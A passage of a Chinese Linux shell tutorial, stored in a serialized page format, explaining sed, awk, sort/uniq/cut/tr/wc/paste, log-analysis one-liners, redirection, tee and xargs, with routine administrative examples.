行\n",[331,81343,81344,81346,81349,81351],{"class":333,"line":341},[331,81345,75045],{"class":501},[331,81347,81348],{"class":365}," '5d'",[331,81350,10499],{"class":365},[331,81352,81353],{"class":1003},"             # d 删第 5 行；'5,9d' 删区间\n",[331,81355,81356,81358,81361,81363],{"class":333,"line":357},[331,81357,75045],{"class":501},[331,81359,81360],{"class":365}," '\u002F^$\u002Fd'",[331,81362,10499],{"class":365},[331,81364,81365],{"class":1003},"          # 删空行（匹配用 \u002F正则\u002F 代替行号）\n",[331,81367,81368,81370,81373,81375],{"class":333,"line":371},[331,81369,75045],{"class":501},[331,81371,81372],{"class":365}," '\u002Fpattern\u002Fd'",[331,81374,10499],{"class":365},[331,81376,81377],{"class":1003},"     # 删含 pattern 的行；想删它的下一行用 pattern\u002F{n;d}\n",[331,81379,81380,81382,81384,81387,81389],{"class":333,"line":384},[331,81381,75045],{"class":501},[331,81383,75986],{"class":344},[331,81385,81386],{"class":365}," '\u002FERROR\u002F,+3p'",[331,81388,10499],{"class":365},[331,81390,81391],{"class":1003}," # 匹配行及其后 3 行（GNU 扩展 +N）\n",[11,81393,81394],{},[17,81395,81396],{},"示例 3：原地修改（先留备份！）",[308,81398,81400],{"className":3902,"code":81399,"language":3904,"meta":314,"style":314},"cp \u002Fetc\u002Fssh\u002Fsshd_config \u002Fetc\u002Fssh\u002Fsshd_config.$(date +%F)\nsed -i 's\u002F^# *PasswordAuthentication yes\u002FPasswordAuthentication no\u002F' \u002Fetc\u002Fssh\u002Fsshd_config\ndiff \u002Fetc\u002Fssh\u002Fsshd_config.$(date +%F) \u002Fetc\u002Fssh\u002Fsshd_config\n",[22,81401,81402,81421,81433],{"__ignoreMap":314},[331,81403,81404,81406,81409,81412,81414,81416,81419],{"class":333,"line":334},[331,81405,50365],{"class":501},[331,81407,81408],{"class":365}," \u002Fetc\u002Fssh\u002Fsshd_config",[331,81410,81411],{"class":365}," \u002Fetc\u002Fssh\u002Fsshd_config.",[331,81413,50484],{"class":337},[331,81415,39549],{"class":501},[331,81417,81418],{"class":365}," +%F",[331,81420,972],{"class":337},[331,81422,81423,81425,81427,81430],{"class":333,"line":341},[331,81424,75045],{"class":501},[331,81426,53226],{"class":344},[331,81428,81429],{"class":365}," 's\u002F^# *PasswordAuthentication yes\u002FPasswordAuthentication no\u002F'",[331,81431,81432],{"class":365}," \u002Fetc\u002Fssh\u002Fsshd_config\n",[331,81434,81435,81437,81439,81441,81443,81445,81447],{"class":333,"line":357},[331,81436,50054],{"class":501},[331,81438,81411],{"class":365},[331,81440,50484],{"class":337},[331,81442,39549],{"class":501},[331,81444,81418],{"class":365},[331,81446,3180],{"class":337},[331,81448,81449],{"class":365},"\u002Fetc\u002Fssh\u002Fsshd_config\n",[11,81451,81452,81454,81455,81458,81459,81461,81462,81465,81466,161,81468,64541,81470,81473,81474,81477,81478,81480],{},[22,81453,49299],{}," 表示 in-place 原地修改，写成 ",[22,81456,81457],{},"-i.bak"," 会自动留一份备份。差异提醒：BusyBox 不支持 ",[22,81460,49299],{}," 带后缀（写成 ",[22,81463,81464],{},"-i -e","）；macOS 必须给 ",[22,81467,75136],{},[22,81469,49299],{},[17,81471,81472],{},"重建文件","（新 inode），所以正在被 ",[22,81475,81476],{},"tail -F"," 跟的日志、以硬链接方式共享的文件、被进程按 inode 持有的文件都会受影响；nginx 之类的配置文件改完必须 reload 才生效。安全习惯：先不带 ",[22,81479,49299],{}," 跑一遍确认输出，再动手。",[53,81482,81484],{"id":81483},"_3-awk-按列算数据","3. awk —— 按列算数据",[11,81486,81487,81489,81490,81493,81494,81497,81498,81501,81502,81505,81506,161],{},[22,81488,80782],{}," 默认以空白分列，",[22,81491,81492],{},"$1"," 是第一列、",[22,81495,81496],{},"$0"," 是整行、",[22,81499,81500],{},"NF"," 是列数、",[22,81503,81504],{},"NR"," 是行号；结构是 ",[22,81507,81508],{},"'条件 {动作}'",[11,81510,81511],{},[17,81512,81513],{},"示例 1：取列",[308,81515,81517],{"className":3902,"code":81516,"language":3904,"meta":314,"style":314},"awk '{print $1, $9}' access.log      # 打印第 1 列（客户端 IP）和第 9 列（状态码）\nawk '{print $NF}' file               # $NF 是最后一列（列数不定时必备）\nawk -F'\"' '{print $6}' access.log    # -F 用 \" 分列，第 6 段常是 URL\nawk -F'\\t' '$5==\"WARN\"' logs.tsv     # 制表符分隔 + 精确匹配某列\n",[22,81518,81519,81531,81543,81560],{"__ignoreMap":314},[331,81520,81521,81523,81526,81528],{"class":333,"line":334},[331,81522,80782],{"class":501},[331,81524,81525],{"class":365}," '{print $1, $9}'",[331,81527,76740],{"class":365},[331,81529,81530],{"class":1003},"      # 打印第 1 列（客户端 IP）和第 9 列（状态码）\n",[331,81532,81533,81535,81538,81540],{"class":333,"line":341},[331,81534,80782],{"class":501},[331,81536,81537],{"class":365}," '{print $NF}'",[331,81539,10499],{"class":365},[331,81541,81542],{"class":1003},"               # $NF 是最后一列（列数不定时必备）\n",[331,81544,81545,81547,81549,81552,81555,81557],{"class":333,"line":357},[331,81546,80782],{"class":501},[331,81548,76871],{"class":344},[331,81550,81551],{"class":365},"'\"'",[331,81553,81554],{"class":365}," '{print $6}'",[331,81556,76740],{"class":365},[331,81558,81559],{"class":1003},"    # -F 用 \" 分列，第 6 段常是 URL\n",[331,81561,81562,81564,81566,81569,81572,81575],{"class":333,"line":371},[331,81563,80782],{"class":501},[331,81565,76871],{"class":344},[331,81567,81568],{"class":365},"'\\t'",[331,81570,81571],{"class":365}," '$5==\"WARN\"'",[331,81573,81574],{"class":365}," logs.tsv",[331,81576,81577],{"class":1003},"     # 制表符分隔 + 精确匹配某列\n",[11,81579,81580],{},[17,81581,81582],{},"示例 2：按条件过滤",[308,81584,81586],{"className":3902,"code":81585,"language":3904,"meta":314,"style":314},"awk '$9 == 500' access.log           # 只输出状态码 500 的行\nawk '$3 > 1000 {print $1}' stat.txt  # 数值条件（字符串自动当数）\n",[22,81587,81588,81600],{"__ignoreMap":314},[331,81589,81590,81592,81595,81597],{"class":333,"line":334},[331,81591,80782],{"class":501},[331,81593,81594],{"class":365}," '$9 == 500'",[331,81596,76740],{"class":365},[331,81598,81599],{"class":1003},"           # 只输出状态码 500 的行\n",[331,81601,81602,81604,81607,81610],{"class":333,"line":341},[331,81603,80782],{"class":501},[331,81605,81606],{"class":365}," '$3 > 1000 {print $1}'",[331,81608,81609],{"class":365}," stat.txt",[331,81611,81612],{"class":1003},"  # 数值条件（字符串自动当数）\n",[11,81614,81615],{},[17,81616,81617],{},"示例 3：聚合统计（awk 最经典的用法）",[308,81619,81621],{"className":3902,"code":81620,"language":3904,"meta":314,"style":314},"awk '{a[$1]++} END {for (k in a) print a[k], k}' access.log | sort -rn | head\n# 按第 1 列计数、输出「次数 名字」再排序——Top N 统计的万能骨架\n\nawk 'NR>1 {sum += $2} END {print sum\u002F(NR-1)}' data.txt   # 跳过表头求平均\nawk -F, 'END {print NR}' data.csv                        # 数行数（比 wc -l 稳，能处理无末尾换行）\nawk 'count[$7]++ > 0 {print $7} END {exit}' access.log   # 找出第一个重复出现的 URL\nawk 'BEGIN {OFS=\",\"} {print $1,$2}'                      # OFS 控制输出分隔符\n",[22,81622,81623,81642,81647,81651,81663,81679,81691],{"__ignoreMap":314},[331,81624,81625,81627,81630,81632,81634,81636,81638,81640],{"class":333,"line":334},[331,81626,80782],{"class":501},[331,81628,81629],{"class":365}," '{a[$1]++} END {for (k in a) print a[k], k}'",[331,81631,76740],{"class":365},[331,81633,15984],{"class":616},[331,81635,50663],{"class":501},[331,81637,80337],{"class":344},[331,81639,15984],{"class":616},[331,81641,80342],{"class":501},[331,81643,81644],{"class":333,"line":341},[331,81645,81646],{"class":1003},"# 按第 1 列计数、输出「次数 名字」再排序——Top N 统计的万能骨架\n",[331,81648,81649],{"class":333,"line":357},[331,81650,998],{"emptyLinePlaceholder":997},[331,81652,81653,81655,81658,81660],{"class":333,"line":371},[331,81654,80782],{"class":501},[331,81656,81657],{"class":365}," 'NR>1 {sum += $2} END {print sum\u002F(NR-1)}'",[331,81659,76807],{"class":365},[331,81661,81662],{"class":1003},"   # 跳过表头求平均\n",[331,81664,81665,81667,81670,81673,81676],{"class":333,"line":384},[331,81666,80782],{"class":501},[331,81668,81669],{"class":344}," -F,",[331,81671,81672],{"class":365}," 'END {print NR}'",[331,81674,81675],{"class":365}," data.csv",[331,81677,81678],{"class":1003},"                        # 数行数（比 wc -l 稳，能处理无末尾换行）\n",[331,81680,81681,81683,81686,81688],{"class":333,"line":397},[331,81682,80782],{"class":501},[331,81684,81685],{"class":365}," 'count[$7]++ > 0 {print $7} END {exit}'",[331,81687,76740],{"class":365},[331,81689,81690],{"class":1003},"   # 找出第一个重复出现的 URL\n",[331,81692,81693,81695,81698],{"class":333,"line":418},[331,81694,80782],{"class":501},[331,81696,81697],{"class":365}," 'BEGIN {OFS=\",\"} {print $1,$2}'",[331,81699,81700],{"class":1003},"                      # OFS 控制输出分隔符\n",[11,81702,81703,81704,655,81707,81710,81711,81714,81715,81718,81719,272,81722,81725,81726,81728,81729,272,81732,272,81735,655,81738,272,81741,272,81744,272,81747,4809,81750,655,81753,161],{},"内置变量与函数速记：",[22,81705,81706],{},"FS",[22,81708,81709],{},"OFS"," 输入输出分隔符、",[22,81712,81713],{},"ORS"," 输出记录分隔符（设 ",[22,81716,81717],{},"\"\""," 可拼接行）、",[22,81720,81721],{},"FILENAME",[22,81723,81724],{},"FNR","（当前文件的行号，多文件时与 ",[22,81727,81504],{}," 不同）、",[22,81730,81731],{},"length()",[22,81733,81734],{},"split()",[22,81736,81737],{},"sub()",[22,81739,81740],{},"gsub()",[22,81742,81743],{},"sprintf()",[22,81745,81746],{},"toupper()",[22,81748,81749],{},"match()",[22,81751,81752],{},"RSTART",[22,81754,81755],{},"RLENGTH",[53,81757,81759],{"id":81758},"_4-sortuniqcuttrwcpaste-五个过滤器","4. sort、uniq、cut、tr、wc、paste —— 五个过滤器",[308,81761,81763],{"className":3902,"code":81762,"language":3904,"meta":314,"style":314},"sort file                # 默认字典序；受 locale 影响，脚本里加 LC_ALL=C 保证按字节稳定\nsort -n                  # 按数字排（否则 10 排在 9 前面）\nsort -h                  # 按人读大小排：2K 1G 10M 能正确排\nsort -r                  # 降序\nsort -V                  # 版本号感知：v1.10 排在 v1.9 后\nsort -t: -k3,3n \u002Fetc\u002Fpasswd    # -t 指定分隔符；-k3,3n 按第 3 列数字排。注意 ,3 不能省——\n                               # 只写 -k3 会从第 3 列一直排到行尾，结果和预期不符\nsort -u                  # 去重（需已排序，等价 sort | uniq）\nsort -m                  # 合并多个已排序文件\n\nuniq -c file             # 合并「相邻」重复行并计数——所以前面必须先 sort，否则看起来完全没去重\ncut -d: -f1 \u002Fetc\u002Fpasswd  # -d 分隔符 + -f 取列；-f1-3 区间、--complement 取反列；只支持单字符分隔符\ntr -d '\\r' \u003C win.txt     # tr 逐字符替换\u002F删除：删 CR、tr ' ' '\\n' 一行变多行、tr a-z A-Z 转大写\nwc -l file               # 行数；-w 词数、-c 字节数；多文件会额外给 total 行\npaste a.txt b.txt        # 按列并文件；-d, 指定分隔、-s 转置行列\n",[22,81764,81765,81774,81783,81792,81802,81812,81828,81833,81842,81851,81855,81866,81881,81898,81909],{"__ignoreMap":314},[331,81766,81767,81769,81771],{"class":333,"line":334},[331,81768,66355],{"class":501},[331,81770,10499],{"class":365},[331,81772,81773],{"class":1003},"                # 默认字典序；受 locale 影响，脚本里加 LC_ALL=C 保证按字节稳定\n",[331,81775,81776,81778,81780],{"class":333,"line":341},[331,81777,66355],{"class":501},[331,81779,75986],{"class":344},[331,81781,81782],{"class":1003},"                  # 按数字排（否则 10 排在 9 前面）\n",[331,81784,81785,81787,81789],{"class":333,"line":357},[331,81786,66355],{"class":501},[331,81788,16456],{"class":344},[331,81790,81791],{"class":1003},"                  # 按人读大小排：2K 1G 10M 能正确排\n",[331,81793,81794,81796,81799],{"class":333,"line":371},[331,81795,66355],{"class":501},[331,81797,81798],{"class":344}," -r",[331,81800,81801],{"class":1003},"                  # 降序\n",[331,81803,81804,81806,81809],{"class":333,"line":384},[331,81805,66355],{"class":501},[331,81807,81808],{"class":344}," -V",[331,81810,81811],{"class":1003},"                  # 版本号感知：v1.10 排在 v1.9 后\n",[331,81813,81814,81816,81819,81822,81825],{"class":333,"line":397},[331,81815,66355],{"class":501},[331,81817,81818],{"class":344}," -t:",[331,81820,81821],{"class":344}," -k3,3n",[331,81823,81824],{"class":365}," \u002Fetc\u002Fpasswd",[331,81826,81827],{"class":1003},"    # -t 指定分隔符；-k3,3n 按第 3 列数字排。注意 ,3 不能省——\n",[331,81829,81830],{"class":333,"line":418},[331,81831,81832],{"class":1003},"                               # 只写 -k3 会从第 3 列一直排到行尾，结果和预期不符\n",[331,81834,81835,81837,81839],{"class":333,"line":427},[331,81836,66355],{"class":501},[331,81838,37094],{"class":344},[331,81840,81841],{"class":1003},"                  # 去重（需已排序，等价 sort | uniq）\n",[331,81843,81844,81846,81848],{"class":333,"line":439},[331,81845,66355],{"class":501},[331,81847,79305],{"class":344},[331,81849,81850],{"class":1003},"                  # 合并多个已排序文件\n",[331,81852,81853],{"class":333,"line":450},[331,81854,998],{"emptyLinePlaceholder":997},[331,81856,81857,81859,81861,81863],{"class":333,"line":456},[331,81858,80788],{"class":501},[331,81860,15990],{"class":344},[331,81862,10499],{"class":365},[331,81864,81865],{"class":1003},"             # 合并「相邻」重复行并计数——所以前面必须先 sort，否则看起来完全没去重\n",[331,81867,81868,81870,81873,81876,81878],{"class":333,"line":775},[331,81869,80791],{"class":501},[331,81871,81872],{"class":344}," -d:",[331,81874,81875],{"class":344}," -f1",[331,81877,81824],{"class":365},[331,81879,81880],{"class":1003},"  # -d 分隔符 + -f 取列；-f1-3 区间、--complement 取反列；只支持单字符分隔符\n",[331,81882,81883,81885,81887,81890,81892,81895],{"class":333,"line":785},[331,81884,63],{"class":501},[331,81886,36867],{"class":344},[331,81888,81889],{"class":365}," '\\r'",[331,81891,56905],{"class":616},[331,81893,81894],{"class":365}," win.txt",[331,81896,81897],{"class":1003},"     # tr 逐字符替换\u002F删除：删 CR、tr ' ' '\\n' 一行变多行、tr a-z A-Z 转大写\n",[331,81899,81900,81902,81904,81906],{"class":333,"line":795},[331,81901,80796],{"class":501},[331,81903,43868],{"class":344},[331,81905,10499],{"class":365},[331,81907,81908],{"class":1003},"               # 行数；-w 词数、-c 字节数；多文件会额外给 total 行\n",[331,81910,81911,81914,81916,81919],{"class":333,"line":805},[331,81912,81913],{"class":501},"paste",[331,81915,75914],{"class":365},[331,81917,81918],{"class":365}," b.txt",[331,81920,81921],{"class":1003},"        # 按列并文件；-d, 指定分隔、-s 转置行列\n",[53,81923,81925],{"id":81924},"_5-三个日志统计的一行命令照抄可用","5. 三个日志统计的一行命令（照抄可用）",[11,81927,81928,81929,81932,81933,4813],{},"场景：",[22,81930,81931],{},"\u002Fsrv\u002Fapp\u002Flogs\u002Faccess.log","，nginx combined 格式（",[22,81934,81935],{},"IP - - [时间] \"方法 路径 协议\" 状态 字节 \"referer\" \"ua\"",[308,81937,81939],{"className":3902,"code":81938,"language":3904,"meta":314,"style":314},"awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10    # 1) 哪个 IP 请求最多（Top 10）\nawk '{print $9}' access.log | grep -v '^2' | sort | uniq -c | sort -rn  # 2) 状态码分布（只看非 2xx）\nawk '{print $NF, $7}' access.log | sort -rn | head -20                 # 3) 最慢的 20 个请求（假设 $NF 是耗时）\n",[22,81940,81941,81976,82013],{"__ignoreMap":314},[331,81942,81943,81945,81948,81950,81952,81954,81956,81959,81961,81963,81965,81967,81969,81971,81973],{"class":333,"line":334},[331,81944,80782],{"class":501},[331,81946,81947],{"class":365}," '{print $1}'",[331,81949,76740],{"class":365},[331,81951,15984],{"class":616},[331,81953,50663],{"class":501},[331,81955,15984],{"class":616},[331,81957,81958],{"class":501}," uniq",[331,81960,15990],{"class":344},[331,81962,15984],{"class":616},[331,81964,50663],{"class":501},[331,81966,80337],{"class":344},[331,81968,15984],{"class":616},[331,81970,15987],{"class":501},[331,81972,79895],{"class":344},[331,81974,81975],{"class":1003},"    # 1) 哪个 IP 请求最多（Top 10）\n",[331,81977,81978,81980,81983,81985,81987,81989,81991,81994,81996,81998,82000,82002,82004,82006,82008,82010],{"class":333,"line":341},[331,81979,80782],{"class":501},[331,81981,81982],{"class":365}," '{print $9}'",[331,81984,76740],{"class":365},[331,81986,15984],{"class":616},[331,81988,16363],{"class":501},[331,81990,51745],{"class":344},[331,81992,81993],{"class":365}," '^2'",[331,81995,15984],{"class":616},[331,81997,50663],{"class":501},[331,81999,15984],{"class":616},[331,82001,81958],{"class":501},[331,82003,15990],{"class":344},[331,82005,15984],{"class":616},[331,82007,50663],{"class":501},[331,82009,80337],{"class":344},[331,82011,82012],{"class":1003},"  # 2) 状态码分布（只看非 2xx）\n",[331,82014,82015,82017,82020,82022,82024,82026,82028,82030,82032,82035],{"class":333,"line":357},[331,82016,80782],{"class":501},[331,82018,82019],{"class":365}," '{print $NF, $7}'",[331,82021,76740],{"class":365},[331,82023,15984],{"class":616},[331,82025,50663],{"class":501},[331,82027,80337],{"class":344},[331,82029,15984],{"class":616},[331,82031,15987],{"class":501},[331,82033,82034],{"class":344}," -20",[331,82036,82037],{"class":1003},"                 # 3) 最慢的 20 个请求（假设 $NF 是耗时）\n",[11,82039,82040,82041,82044,82045,82047],{},"三条命令的结构都是「",[17,82042,82043],{},"取列 → 归并计数 → 排序 → 截断","」，学会一条就等于学会一片。想按小时聚合访问量，用 ",[22,82046,79698],{}," 抠出时间里的小时：",[308,82049,82051],{"className":3902,"code":82050,"language":3904,"meta":314,"style":314},"grep -oE '\\[[^] ]+ [0-9]{2}' access.log | awk '{print $2}' | sort | uniq -c\n",[22,82052,82053],{"__ignoreMap":314},[331,82054,82055,82057,82059,82062,82064,82066,82069,82072,82074,82076,82078,82080],{"class":333,"line":334},[331,82056,17339],{"class":501},[331,82058,80975],{"class":344},[331,82060,82061],{"class":365}," '\\[[^] ]+ [0-9]{2}'",[331,82063,76740],{"class":365},[331,82065,15984],{"class":616},[331,82067,82068],{"class":501}," awk",[331,82070,82071],{"class":365}," '{print $2}'",[331,82073,15984],{"class":616},[331,82075,50663],{"class":501},[331,82077,15984],{"class":616},[331,82079,81958],{"class":501},[331,82081,82082],{"class":344}," -c\n",[53,82084,75156],{"id":82085},"踩坑提醒-6",[1773,82087,82088,82103,82120,82135,82147],{},[1662,82089,82090,23629,82092,82094,82095,82098,82099,82102],{},[22,82091,17339],{},[22,82093,50195],{}," 脚本里用 ",[22,82096,82097],{},"grep -E","，别再用废弃的 ",[22,82100,82101],{},"egrep","（新版会打 warning）。",[1662,82104,82105,82106,82109,82110,82112,82113,82116,82117,161],{},"管道里最后一个命令的退出码才是 ",[22,82107,82108],{},"$?","（第八章讲 ",[22,82111,48061],{},"）。判断「有没有搜到」用 ",[22,82114,82115],{},"grep -q","：它不输出只给状态码，",[22,82118,82119],{},"if grep -q 'pattern' f; then",[1662,82121,82122,82124,82125,82128,82129,82131,82132,82134],{},[22,82123,75132],{}," 无备份直接改生产配置出事后无从回滚；养成 ",[22,82126,82127],{},"sed -i.bak"," 或先 ",[22,82130,50365],{}," 的习惯，改完 ",[22,82133,50054],{}," 一眼。",[1662,82136,82137,82139,82140,23069,82143,82146],{},[22,82138,80782],{}," 里字符串比较要写 ",[22,82141,82142],{},"$5 == \"WARN\"",[22,82144,82145],{},"$5 = \"WARN\"","——一个等号是赋值，永远为真，这是 awk 最隐蔽的错误。",[1662,82148,82149,82151,82152,82154,82155,82158,82159,4813],{},[22,82150,80788],{}," 忘 ",[22,82153,66355],{}," 会得到「看起来完全没去重」的结果；反之 ",[22,82156,82157],{},"sort -u"," 会静默改变顺序语义（等价 ",[22,82160,82161],{},"sort | uniq",[48,82163,82165],{"id":82164},"八管道重定向与命令组合","八、管道、重定向与命令组合",[11,82167,82168,82169,82185],{},"Shell 的表达能力几乎全在这一章：",[17,82170,82171,82172,82174,82175,272,82177,82180,82181,272,82183,5149],{},"把 stdout 接给下一个命令（",[22,82173,19115],{},"），把输出\u002F错误写到别处（",[22,82176,42343],{},[22,82178,82179],{},"2>","），把几条命令串成逻辑（",[22,82182,14406],{},[22,82184,1162],{},"。搞不清这三个，脚本就只能写成猜谜。",[4748,82187],{"height":32474,"src":82188,"title":82189},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F08-pipes.html","示例 08：重定向、管道与 tee 的行为差异",[53,82191,82193],{"id":82192},"_1-重定向-三个流与-2","1. 重定向 —— 三个流与 > 、>>、2>",[11,82195,82196,82197,82199,82200,82202,82203,82205],{},"每个进程有三个标准流：",[22,82198,628],{}," stdin、",[22,82201,7993],{}," stdout、",[22,82204,9292],{}," stderr。",[308,82207,82209],{"className":3902,"code":82208,"language":3904,"meta":314,"style":314},"cmd > out.txt            # stdout 覆盖写文件\ncmd >> out.txt           # 追加——日志文件必备，> 会把历史冲掉\ncmd 2> err.txt           # stderr 单独写文件，只看错误\ncmd > out.txt 2>&1       # stderr 并入同一个 stdout 再一起进文件。经典写法，顺序不能反！\ncmd 2>&1 > out.txt       # 反例：stderr 去了终端，stdout 才进文件（按从左到右解析）\ncmd &> out.txt           # 两者都进文件（bash 简写）；POSIX sh 里没有，讲可移植时别用\ncmd > \u002Fdev\u002Fnull 2>&1     # 全部丢进黑洞，让 cron 安静运行\ncmd \u003C in.txt             # stdin 来自文件\ncmd 1>&2                 # stdout 改道 stderr，让日志统一被 2> 捕获\n",[22,82210,82211,82224,82236,82249,82263,82276,82291,82305,82317],{"__ignoreMap":314},[331,82212,82213,82216,82218,82221],{"class":333,"line":334},[331,82214,82215],{"class":501},"cmd",[331,82217,56464],{"class":616},[331,82219,82220],{"class":365}," out.txt",[331,82222,82223],{"class":1003},"            # stdout 覆盖写文件\n",[331,82225,82226,82228,82231,82233],{"class":333,"line":341},[331,82227,82215],{"class":501},[331,82229,82230],{"class":616}," >>",[331,82232,82220],{"class":365},[331,82234,82235],{"class":1003},"           # 追加——日志文件必备，> 会把历史冲掉\n",[331,82237,82238,82240,82243,82246],{"class":333,"line":357},[331,82239,82215],{"class":501},[331,82241,82242],{"class":616}," 2>",[331,82244,82245],{"class":365}," err.txt",[331,82247,82248],{"class":1003},"           # stderr 单独写文件，只看错误\n",[331,82250,82251,82253,82255,82257,82260],{"class":333,"line":371},[331,82252,82215],{"class":501},[331,82254,56464],{"class":616},[331,82256,82220],{"class":365},[331,82258,82259],{"class":616}," 2>&1",[331,82261,82262],{"class":1003},"       # stderr 并入同一个 stdout 再一起进文件。经典写法，顺序不能反！\n",[331,82264,82265,82267,82269,82271,82273],{"class":333,"line":384},[331,82266,82215],{"class":501},[331,82268,82259],{"class":616},[331,82270,56464],{"class":616},[331,82272,82220],{"class":365},[331,82274,82275],{"class":1003},"       # 反例：stderr 去了终端，stdout 才进文件（按从左到右解析）\n",[331,82277,82278,82280,82283,82285,82288],{"class":333,"line":397},[331,82279,82215],{"class":501},[331,82281,82282],{"class":337}," &",[331,82284,42343],{"class":616},[331,82286,82287],{"class":337}," out.txt           ",[331,82289,82290],{"class":1003},"# 两者都进文件（bash 简写）；POSIX sh 里没有，讲可移植时别用\n",[331,82292,82293,82295,82297,82300,82302],{"class":333,"line":418},[331,82294,82215],{"class":501},[331,82296,56464],{"class":616},[331,82298,82299],{"class":365}," \u002Fdev\u002Fnull",[331,82301,82259],{"class":616},[331,82303,82304],{"class":1003},"     # 全部丢进黑洞，让 cron 安静运行\n",[331,82306,82307,82309,82311,82314],{"class":333,"line":427},[331,82308,82215],{"class":501},[331,82310,56905],{"class":616},[331,82312,82313],{"class":365}," in.txt",[331,82315,82316],{"class":1003},"             # stdin 来自文件\n",[331,82318,82319,82321,82324],{"class":333,"line":439},[331,82320,82215],{"class":501},[331,82322,82323],{"class":616}," 1>&2",[331,82325,82326],{"class":1003},"                 # stdout 改道 stderr，让日志统一被 2> 捕获\n",[11,82328,82329,82332,82333,5177,82336,5160,82339,82341,82342,322,82344,82346,82347,82349],{},[22,82330,82331],{},">|"," 强制覆盖（即使开了 ",[22,82334,82335],{},"set -o noclobber",[22,82337,82338],{},"&>",[22,82340,82331],{}," 都是 bash 扩展。判断命令失败用 ",[22,82343,82108],{},[22,82345,628],{}," 成功、非 0 失败，具体数字看 ",[22,82348,74596],{}," 的 EXIT STATUS 章节。",[53,82351,82353],{"id":82352},"_2-tee-既上屏又落盘","2. tee —— 既上屏又落盘",[11,82355,82356],{},[17,82357,82358],{},"示例 1：边看边存",[308,82360,82362],{"className":3902,"code":82361,"language":3904,"meta":314,"style":314},"make install 2>&1 | tee -a \u002Fvar\u002Flog\u002Fdeploy.log     # -a 追加；不加就是覆盖\n",[22,82363,82364],{"__ignoreMap":314},[331,82365,82366,82369,82371,82373,82375,82377,82379,82382],{"class":333,"line":334},[331,82367,82368],{"class":501},"make",[331,82370,13016],{"class":365},[331,82372,82259],{"class":616},[331,82374,15984],{"class":616},[331,82376,53153],{"class":501},[331,82378,57537],{"class":344},[331,82380,82381],{"class":365}," \u002Fvar\u002Flog\u002Fdeploy.log",[331,82383,82384],{"class":1003},"     # -a 追加；不加就是覆盖\n",[11,82386,82387],{},[17,82388,82389],{},"示例 2：绕过「>> 需要提权」的问题",[308,82391,82393],{"className":3902,"code":82392,"language":3904,"meta":314,"style":314},"echo \"10.0.0.5 internal\" | sudo tee -a \u002Fetc\u002Fhosts\n",[22,82394,82395],{"__ignoreMap":314},[331,82396,82397,82399,82402,82404,82406,82408,82410],{"class":333,"line":334},[331,82398,49056],{"class":344},[331,82400,82401],{"class":365}," \"10.0.0.5 internal\"",[331,82403,15984],{"class":616},[331,82405,53150],{"class":501},[331,82407,53153],{"class":365},[331,82409,57537],{"class":344},[331,82411,82412],{"class":365}," \u002Fetc\u002Fhosts\n",[11,82414,82415,82418,82419,82422,82423,82425,82426,161,82429,82432],{},[22,82416,82417],{},"sudo some-cmd > \u002Froot\u002Fsecret.txt"," 的重定向是",[17,82420,82421],{},"当前 Shell","（无特权）执行的，所以会报 ",[22,82424,78100],{},"——正确写法就是用 ",[22,82427,82428],{},"| sudo tee file",[22,82430,82431],{},"tee \u002Fdev\u002Fstderr"," 可把内容转错误流。",[53,82434,82436],{"id":82435},"_3-xargs-把参数交给命令","3. xargs —— 把参数交给命令",[308,82438,82440],{"className":3902,"code":82439,"language":3904,"meta":314,"style":314},"find . -name '*.tmp' -print0 | xargs -0 rm -f --\n# 标准拼接：-0 处理空格\u002F换行（与 -print0 配对使用）；-- 防文件名被当参数（-rf 之类）\n\nseq 1 9 | xargs -n 3 cmd      # -n 3 每次最多传 3 个参数\nfind . -name '*.jpg' -print0 | xargs -0 -P 8 -n 1 convert   # -P 8 并发 8 个进程，适合下载\u002F压缩\necho a b c | xargs -I{} sh -c 'tar czf {}.tgz {}'           # -I{} 把参数放在指定位置，每行起一个 shell\nfind . -name '*.tmp' -print0 | xargs -0 -r rm --            # -r 空输入不执行（GNU 特性），避免 cmd 空跑\nxargs --show-limits           # 查 ARG_MAX；超限时报 Argument list too long\n",[22,82441,82442,82467,82472,82476,82498,82530,82549,82576],{"__ignoreMap":314},[331,82443,82444,82446,82448,82450,82452,82454,82456,82458,82460,82462,82464],{"class":333,"line":334},[331,82445,16382],{"class":501},[331,82447,46803],{"class":365},[331,82449,16388],{"class":344},[331,82451,80012],{"class":365},[331,82453,80015],{"class":344},[331,82455,15984],{"class":616},[331,82457,16396],{"class":501},[331,82459,80541],{"class":344},[331,82461,46759],{"class":365},[331,82463,43839],{"class":344},[331,82465,82466],{"class":344}," --\n",[331,82468,82469],{"class":333,"line":341},[331,82470,82471],{"class":1003},"# 标准拼接：-0 处理空格\u002F换行（与 -print0 配对使用）；-- 防文件名被当参数（-rf 之类）\n",[331,82473,82474],{"class":333,"line":357},[331,82475,998],{"emptyLinePlaceholder":997},[331,82477,82478,82481,82483,82485,82487,82489,82491,82493,82495],{"class":333,"line":371},[331,82479,82480],{"class":501},"seq",[331,82482,30777],{"class":344},[331,82484,21692],{"class":344},[331,82486,15984],{"class":616},[331,82488,16396],{"class":501},[331,82490,75986],{"class":344},[331,82492,59421],{"class":344},[331,82494,79063],{"class":365},[331,82496,82497],{"class":1003},"      # -n 3 每次最多传 3 个参数\n",[331,82499,82500,82502,82504,82506,82508,82510,82512,82514,82516,82518,82521,82523,82525,82527],{"class":333,"line":384},[331,82501,16382],{"class":501},[331,82503,46803],{"class":365},[331,82505,16388],{"class":344},[331,82507,80089],{"class":365},[331,82509,80015],{"class":344},[331,82511,15984],{"class":616},[331,82513,16396],{"class":501},[331,82515,80541],{"class":344},[331,82517,75602],{"class":344},[331,82519,82520],{"class":344}," 8",[331,82522,75986],{"class":344},[331,82524,30777],{"class":344},[331,82526,80094],{"class":365},[331,82528,82529],{"class":1003},"   # -P 8 并发 8 个进程，适合下载\u002F压缩\n",[331,82531,82532,82534,82536,82538,82540,82542,82544,82546],{"class":333,"line":397},[331,82533,49056],{"class":344},[331,82535,60744],{"class":365},[331,82537,60747],{"class":365},[331,82539,67556],{"class":365},[331,82541,15984],{"class":616},[331,82543,16396],{"class":501},[331,82545,76052],{"class":344},[331,82547,82548],{"class":337},"{} sh -c 'tar czf {}.tgz {}'           # -I{} 把参数放在指定位置，每行起一个 